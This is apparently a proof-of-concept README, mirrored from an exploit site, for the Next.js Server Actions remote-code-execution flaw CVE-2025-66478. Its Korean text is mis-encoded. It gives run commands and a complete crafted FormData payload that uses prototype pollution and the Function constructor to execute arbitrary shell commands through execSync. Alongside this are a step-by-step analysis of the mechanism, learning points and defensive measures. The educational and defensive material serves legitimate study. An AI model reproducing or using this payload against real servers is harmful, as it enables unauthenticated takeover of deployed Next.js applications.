Share
## https://sploitus.com/exploit?id=9A8602EF-40C7-5247-89FC-10F3DD5A444E
# React2Shell POC
https://nextjs.org/blog/CVE-2025-66478
## ํ
์คํธ์ฉ Docker๋ก ๋ฐฐํฌ
```bash
docker compose up -d
```
## POC
### poc.mjs - ๋ช
๋ น ์คํ ๊ณต๊ฒฉ
```bash
# ๊ธฐ๋ณธ ์๋ฒ(localhost:3000)์ ๋ช
๋ น ์คํ
pnpm poc "id"
# ์๋ฒ URL๊ณผ ๋ช
๋ น ์ง์
pnpm poc http://localhost:3000 "id"
# ๋๋ ์ง์ ์คํ
node poc.mjs "id"
node poc.mjs http://localhost:3000 "id"
```
### poc2.mjs - Next.js ํ๋กํ ํ์
์ค์ผ ๊ณต๊ฒฉ
```bash
# Next.js ์๋ฒ ๊ณต๊ฒฉ (๊ธฐ๋ณธ: http://localhost:3000)
pnpm poc2
pnpm poc2 http://localhost:3000
# ๋๋ ์ง์ ์คํ
node poc2.mjs http://localhost:3000
```
## ๊ณต๊ฒฉ ๋ฐฉ๋ฒ ๋ถ์
### 1. Server Action ์์ฒญ ์์ฑ
```js
headers: {
'Next-Action': 'x', // Server Action ์๋ณ์
...formData.getHeaders(),
}
```
- `Next-Action` ํค๋๊ฐ ์กด์ฌํ๋ฉด Next.js ๋ ํด๋น ์์ฒญ์ Server Action ์์ฒญ์ผ๋ก ์ธ์ํ์ฌ ์๋ฒ์์ ์คํํจ.
- ์ถ๋ก ์ Next.JS๋ ์ด ์ฆ์ http body์ ๋ํ ์ญ์ง๋ ฌํ๋ฅผ ์๋ํ ๊ฒ์
### 2. ์
์์ ์ธ payload ๊ตฌ์ฑ
> ์ค์ Github ๊ณต๊ฐ Repository์ ์ฌ๋ผ์์๋ PoC(๊ฐ๋
์ฆ๋ช
) ์ฝ๋๋ฅผ ๊ฐ์ ธ์์ต๋๋ค.
```js
const craftedChunk = {
then: "$1:__proto__:then", // ํ๋กํ ํ์
์ฒด์ธ ์กฐ์
status: "resolved_model",
reason: -1,
value: '{"then": "$B0"}',
_response: {
_prefix: `var res = process.mainModule.require('child_process').execSync('${EXECUTABLE}',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:\`$\${res}\`});`,
// If you don't need the command output, you can use this line instead:
// _prefix: `process.mainModule.require('child_process').execSync('${EXECUTABLE}');`,
_formData: {
get: "$1:constructor:constructor",
},
},
};
const formData = new FormData();
formData.append("0", JSON.stringify(craftedChunk));
formData.append("1", '"$@0"');
```
### 3. JS ํ๋กํ ํ์
์ค์ผ ๊ณต๊ฒฉ
ํด๋น ์ฌํญ์ ์ถ๋ก ์
๋๋ค๋ง,
JS์ ๊ฐ์ฒด๋ `__proto__` ์์ฑ์ ํตํด ํ๋กํ ํ์
์ฒด์ธ์ด ์ฐ๊ฒฐ๋์ด ์์ต๋๋ค.
- Next.js์ ์ญ์ง๋ ฌํ ๊ณผ์ ์์ `$1:__proto__:then` ์ ํน๋ณํ ์๋ฏธ๋ฅผ ๊ฐ๊ณ ์๋ค๊ณ ์ถ์ ๋ฉ๋๋ค.
- `$1`์ FormData์ ๋๋ฒ์งธ ํญ๋ชฉ์ธ `formData.append('1', '"$@0"')`์ ๊ฐ๋ฆฌํค๋ ์ฐธ์กฐ ํญ๋ชฉ์
๋๋ค.
- `__proto__`๋ฅผ ํตํด JavaScript ๊ฐ์ฒด์ ํ๋กํ ํ์
์ฒด์ธ์ ์ ๊ทผํฉ๋๋ค.
- ๊ฒฐ๊ณผ์ ์ผ๋ก `then` ์์ฑ์ ๋ฎ์ด์ฐ๊ฒ ๋ฉ๋๋ค.
JS์์ `then` ๋ฉ์๋๋ฅผ ๊ฐ์ง ๊ฐ์ฒด๋ thenable๋ก ๊ฐ์ฃผ๋๋ฉฐ, `Promise` ์ฒ๋ผ ๋์ํฉ๋๋ค.
์ด ๋ด์ฉ์ ์ด์ฉํ์ฌ Next.js์ ์ฒ๋ฆฌ ๊ณผ์ ์์
1. ์ญ์ง๋ ฌํ๋ ๊ฐ์ฒด๊ฐ `then` ๋ฉ์๋๋ฅผ ๊ฐ๊ณ ์๋์ง ํ์ธํ๊ณ ,
2. `then`์ด ์กด์ฌํ๋ฉด Promise ์ฒ๋ฆฌ ๋ก์ง์ ์ํํฉ๋๋ค.
3. ์ด ๊ณผ์ ์์ `then`์ด ํจ์๋ก ํธ์ถ๋ ์ ์๋ ์ํฉ์ด ๋ฐ์ํฉ๋๋ค.
์ด ๋ด์ฉ์ ๊ธฐ๋ฐ์ผ๋ก Function ์์ฑ์๋ฅผ ํตํด ์ฝ๋๋ฅผ ์คํ์ํต๋๋ค.
```js
_formData: {
get: "$1:constructor:constructor",
}
```
- `$1`์ ๊ฐ์ฒด๋ฅผ ์ฐธ์กฐ
- `.constructor`๋ ํด๋น ๊ฐ์ฒด์ ์์ฑ์ ํจ์
- `.constructor.constructor`๋ `Function` ์์ฑ์๋ฅผ ์๋ฏธ
- `_prefix`์ ์๋ ๋ฌธ์์ด์ด `Function` ์์ฑ์๋ฅผ ํตํด ์คํ ๊ฐ๋ฅํ ์ฝ๋๋ก ๋ณํ๋จ
์ด์ `_prefix`์ ์๋ ๋ฌธ์์ด์ ์๋ฒ์์ ์คํ๋๋ ์ฝ๋๋ก ๋ณํ๋ฉ๋๋ค.
## ์ทจ์ฝ์ ์ ๊ทผ๋ณธ์ ์์ธ
1. ์์ ํ์ง ์์ ์ญ์ง๋ ฌํ
Next.js๊ฐ Server Actions ์์ฒญ์ ์ฒ๋ฆฌํ ๋ FormData ๋ด์ฉ์ ์ถฉ๋ถํ ๊ฒ์ฆ ์์ด `Next-Action` ํค๋๊ฐ ์์ผ๋ฉด ํด๋น ์์ฒญ์ Server Action ์์ฒญ์ผ๋ก ์ธ์ํ์ฌ ์๋ฒ์์ ์คํํฉ๋๋ค.
2. ํ๋กํ ํ์
์ค์ผ ๋ฐฉ์ด ๋ถ์ฌ
`__proto__` ์์ฑ ์ ๊ทผ์ ์ฐจ๋จํ๋ ๋ก์ง์ด ์์ต๋๋ค.
3. ๋์ ์ฝ๋ ์คํ
`Function` ์์ฑ์ ์ ๊ทผ๋ ์ฐจ๋จํ์ง ์์์ต๋๋ค.
## ์ ์ด ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ์๊น?
JS์ ๋์ ํน์ฑ๊ณผ ํ๋กํ ํ์
๊ธฐ๋ฐ ์์ ๋ชจ๋ธ์ด ์ด ๊ณต๊ฒฉ์ ๊ฐ๋ฅํ๊ฒ ํ๋ค๊ณ ์ถ๋ก ํฉ๋๋ค.
1. **ํ๋กํ ํ์
์ฒด์ธ:** ๋ชจ๋ JS ๊ฐ์ฒด๋ `__proto__` ์์ฑ์ ํตํด ํ๋กํ ํ์
์ ์ ๊ทผ ๊ฐ๋ฅํฉ๋๋ค.
2. **Thenable ํจํด:** Promise ํธํ์ฑ์ ์ํด `then` ๋ฉ์๋๊ฐ ์์ผ๋ฉด ํน๋ณ ์ฒ๋ฆฌ๋ฉ๋๋ค.
3. **Function ์์ฑ์:** ๋ฌธ์์ด์ ์คํ ๊ฐ๋ฅํ ์ฝ๋๋ก ๋ณํ ๊ฐ๋ฅํฉ๋๋ค.
4. **์ญ์ง๋ ฌํ ์ค์:** HTTP Body๋ฅผ ์ญ์ง๋ ฌํํ ๋ ์ถฉ๋ถํ ๊ฒ์ฆ์ด ์์์ต๋๋ค.
๊ฒฐ๊ตญ "์ธ์ฆ" ์์ด "์๊ฒฉ ์ฝ๋ ์คํ"์ด ๊ฐ๋ฅํ 10์ ๋ง์ ์ง๋ฆฌ ์ทจ์ฝ์ ์ด ๋์์ต๋๋ค.
## poc2.mjs ๊ณต๊ฒฉ ๋ฉ์ปค๋์ฆ ๋ถ์
`poc2.mjs`๋ `poc.mjs`์ ๋ค๋ฅธ ๋ฐฉ์์ ํ๋กํ ํ์
์ค์ผ ๊ณต๊ฒฉ์ ์ํํฉ๋๋ค.
### Payload ๊ตฌ์กฐ ๋ถ์
```javascript
const payload = {
0: "$1", // ํญ๋ชฉ 0์ด ํญ๋ชฉ 1์ ์ฐธ์กฐ
1: {
status: "resolved_model",
reason: 0,
_response: "$4", // ํญ๋ชฉ 4๋ฅผ ์ฐธ์กฐ
value: '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
then: "$2:then", // โ ๏ธ ํต์ฌ: ํญ๋ชฉ 2์ then ์์ฑ์ ์ฐธ์กฐ
},
2: "$@3", // ํญ๋ชฉ 3์ ์ฐธ์กฐ (ํน๋ณํ ๋ฌธ๋ฒ)
3: [], // ๋น ๋ฐฐ์ด
4: {
_prefix: "console.log(7*7+1)//", // ์คํ๋ ์ฝ๋
_formData: {
get: "$3:constructor:constructor", // Function ์์ฑ์ ์ ๊ทผ
},
_chunks: "$2:_response:_chunks",
},
};
```
### ๊ณต๊ฒฉ ๋จ๊ณ๋ณ ๋ถ์
#### 1๋จ๊ณ: ์ฐธ์กฐ ์ฒด์ธ ๊ตฌ์ถ
- `'0': '$1'` โ ํญ๋ชฉ 0์ด ํญ๋ชฉ 1์ ๊ฐ๋ฆฌํด
- `'1': { then: '$2:then' }` โ ํญ๋ชฉ 1์ `then` ์์ฑ์ด ํญ๋ชฉ 2์ `then`์ ์ฐธ์กฐ
- `'2': '$@3'` โ ํญ๋ชฉ 2๊ฐ ํญ๋ชฉ 3(๋น ๋ฐฐ์ด `[]`)์ ์ฐธ์กฐ
#### 2๋จ๊ณ: Thenable ๊ฐ์ฒด ์์ฑ
Next.js์ ์ญ์ง๋ ฌํ ๊ณผ์ ์์:
1. ํญ๋ชฉ 1์ด ์ญ์ง๋ ฌํ๋๋ฉด์ `then: '$2:then'` ์์ฑ์ ์ฒ๋ฆฌ
2. `$2:then`์ ํญ๋ชฉ 2์ `then` ์์ฑ์ ์ฐธ์กฐํ๋๋ก ํด์๋จ
3. ํญ๋ชฉ 2๋ ๋น ๋ฐฐ์ด `[]`์ ์ฐธ์กฐ
4. ๊ฒฐ๊ณผ์ ์ผ๋ก ํญ๋ชฉ 1์ด `then` ๋ฉ์๋๋ฅผ ๊ฐ์ง **thenable ๊ฐ์ฒด**๋ก ์ธ์๋จ
#### 3๋จ๊ณ: Promise ์ฒ๋ฆฌ ๋ก์ง ์ ๋
JavaScript์์ `then` ๋ฉ์๋๋ฅผ ๊ฐ์ง ๊ฐ์ฒด๋ Promise์ฒ๋ผ ์ฒ๋ฆฌ๋ฉ๋๋ค:
- Next.js๊ฐ ์ด ๊ฐ์ฒด๋ฅผ Promise๋ก ์ธ์
- `then()` ๋ฉ์๋๊ฐ ํธ์ถ๋ ๊ฐ๋ฅ์ฑ์ด ์๊น
- ์ด ๊ณผ์ ์์ ํ๋กํ ํ์
์ฒด์ธ์ ํตํด ์ถ๊ฐ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํด์ง
#### 4๋จ๊ณ: Function ์์ฑ์๋ฅผ ํตํ ์ฝ๋ ์คํ
```javascript
'_formData': {
'get': '$3:constructor:constructor'
}
```
- `$3`๋ ๋น ๋ฐฐ์ด `[]`์ ์ฐธ์กฐ
- `[].constructor`๋ `Array` ์์ฑ์ ํจ์
- `Array.constructor`๋ `Function` ์์ฑ์
- `_prefix`์ ๋ฌธ์์ด(`'console.log(7*7+1)//'`)์ด Function ์์ฑ์๋ฅผ ํตํด ์คํ ๊ฐ๋ฅํ ์ฝ๋๋ก ๋ณํ๋จ
### poc.mjs vs poc2.mjs ์ฐจ์ด์
| ํน์ง | poc.mjs | poc2.mjs |
| ---------------- | -------------------------- | -------------------------- |
| **๊ณต๊ฒฉ ๋ชฉ์ ** | ๋ช
๋ น ์คํ (RCE) | ํ๋กํ ํ์
์ค์ผ ๋ฐ๋ชจ |
| **Payload ๊ตฌ์กฐ** | `__proto__:then` ์ง์ ์ฌ์ฉ | ์ฐธ์กฐ ์ฒด์ธ์ ํตํ ๊ฐ์ ์ ๊ทผ |
| **๋ณต์ก๋** | ์๋์ ์ผ๋ก ๋จ์ | ๋ ๋ณต์กํ ์ฐธ์กฐ ๊ตฌ์กฐ |
### ๊ต์ก์ ๊ด์ ์์์ ํ์ต ํฌ์ธํธ
1. **ํ๋กํ ํ์
์ฒด์ธ ์กฐ์**
- JavaScript์ ๋์ ํน์ฑ์ ์
์ฉํ ๊ณต๊ฒฉ
- `__proto__`๋ ์ฐธ์กฐ๋ฅผ ํตํ ํ๋กํ ํ์
์ ๊ทผ
2. **Thenable ํจํด ์
์ฉ**
- Promise ํธํ์ฑ์ ์ํ `then` ๋ฉ์๋ ์ฒดํฌ๋ฅผ ์
์ฉ
- ๊ฐ์ฒด๊ฐ Promise์ฒ๋ผ ๋์ํ๋๋ก ๋ง๋๋ ๊ธฐ๋ฒ
3. **์ญ์ง๋ ฌํ ์ทจ์ฝ์ **
- ์ฌ์ฉ์ ์
๋ ฅ์ ์ ๋ขฐํ๊ณ ์ญ์ง๋ ฌํํ๋ ์ํ์ฑ
- ์ฐธ์กฐ ํด์ ๊ณผ์ ์์ ๋ฐ์ํ๋ ๋ณด์ ๋ฌธ์
4. **๋์ ์ฝ๋ ์คํ**
- `Function` ์์ฑ์๋ฅผ ํตํ ๋ฌธ์์ด โ ์ฝ๋ ๋ณํ
- ํ๋กํ ํ์
์ฒด์ธ์ ํตํ ์์ฑ์ ํจ์ ์ ๊ทผ
### ๋ฐฉ์ด ๋ฐฉ๋ฒ
1. **์
๋ ฅ ๊ฒ์ฆ**: Server Action ์์ฒญ์ FormData ๋ด์ฉ์ ์๊ฒฉํ๊ฒ ๊ฒ์ฆ
2. **ํ๋กํ ํ์
์ค์ผ ๋ฐฉ์ง**: `__proto__`, `constructor` ๋ฑ์ ์ ๊ทผ ์ฐจ๋จ
3. **์์ ํ ์ญ์ง๋ ฌํ**: ์ ๋ขฐํ ์ ์๋ ๋ฐ์ดํฐ๋ง ์ญ์ง๋ ฌํ
4. **Function ์์ฑ์ ์ฐจ๋จ**: ๋์ ์ฝ๋ ์คํ ๋ฐฉ์ง